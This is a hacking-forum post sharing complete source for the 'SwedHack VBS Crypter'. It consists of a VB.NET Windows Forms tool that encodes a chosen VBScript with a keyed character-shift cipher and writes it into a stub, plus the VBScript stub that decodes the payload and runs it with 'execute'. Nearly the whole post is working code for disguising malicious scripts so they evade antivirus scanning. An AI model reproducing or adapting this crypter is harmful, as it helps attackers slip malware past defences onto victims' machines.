.NET SwedHack VBS Crypter

[neo22]

[HIDE-THANKS]

>Imports System.IO
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices

Public Class Form1
   Private Sub Ambiance_Button_21_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_21.Click
       Try
           Dim dialog As New OpenFileDialog
           Dim dialog2 As OpenFileDialog = dialog
           dialog2.DefaultExt = "VBS"
           dialog2.Filter = "vbscript|*.vbs"
           If (dialog.ShowDialog = DialogResult.OK) Then
               Dim info As New FileInfo(dialog.FileName)
               If (info.Extension.ToLower = ".vbs") Then
                   TextBox1.Text = dialog.FileName
               Else
                   Interaction.MsgBox("This is Not vbs File", MsgBoxStyle.ApplicationModal, "Erorr")
               End If
           End If
           dialog2 = Nothing
       Catch exception1 As Exception
           ProjectData.SetProjectError(exception1)
           Dim exception As Exception = exception1
           ProjectData.ClearProjectError()
       End Try
   End Sub

   Private Sub Ambiance_Button_22_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_22.Click
       Try
           Dim HFFHHGTHH As String = My.Resources.String1
           Dim dialog As New SaveFileDialog
           Dim dialog2 As SaveFileDialog = dialog
           dialog2.DefaultExt = "vbs"
           dialog2.Filter = "vbs script|*.vbs"
           dialog2.FileName = "Swed.vbs"
           If (dialog2.ShowDialog = DialogResult.OK) Then
               Dim s As String = File.ReadAllText(TextBox1.Text)
               Dim newValue As String = OhudEncrypt(s, TextBox2.Text)
               HFFHHGTHH = HFFHHGTHH.Replace("'%S1%", newValue).Replace("'%S2%", TextBox2.Text)
               File.WriteAllText(dialog.FileName, HFFHHGTHH, Encoding.Unicode)
               Interaction.MsgBox(dialog2.FileName, MsgBoxStyle.ApplicationModal, "Done By SwedHack !")
           End If
           dialog2 = Nothing
       Catch exception1 As Exception
           ProjectData.SetProjectError(exception1)
           Dim exception As Exception = exception1
           ProjectData.ClearProjectError()
       End Try
   End Sub
   Public Function OhudEncrypt(ByVal s As String, ByVal p As String) As String
       Dim num As Integer = Strings.Len(p)
       Dim num2 As Integer = 1
       Dim str2 As String = ""
       Dim num4 As Integer = Strings.Len(s)
       Dim i As Integer = 1
       Do While (i <= num4)
           If (num2 = num) Then
               num2 = 1
           End If
           str2 = (str2 & Conversions.ToString(Strings.ChrW((Strings.AscW(Strings.Mid(s, i, 1)) + (num2 * 10)))))
           num2 += 1
           i += 1
       Loop
       Return str2
   End Function

   Private Sub Ambiance_Button_23_Click(sender As Object, e As EventArgs) Handles Ambiance_Button_23.Click
       End
   End Sub
End Class

[/HIDE-THANKS]

String1

[HIDE-THANKS]

S="'%S1%"

O=""

P="'%S2%"

n=0

u=0

do until n=len(S)

n=n+1

u=u+1

if u=len(P) then u=1

o=o & ChrW(AscW(Mid(S, n, 1)) - u * 10)

loop

execute o

[/HIDE-THANKS]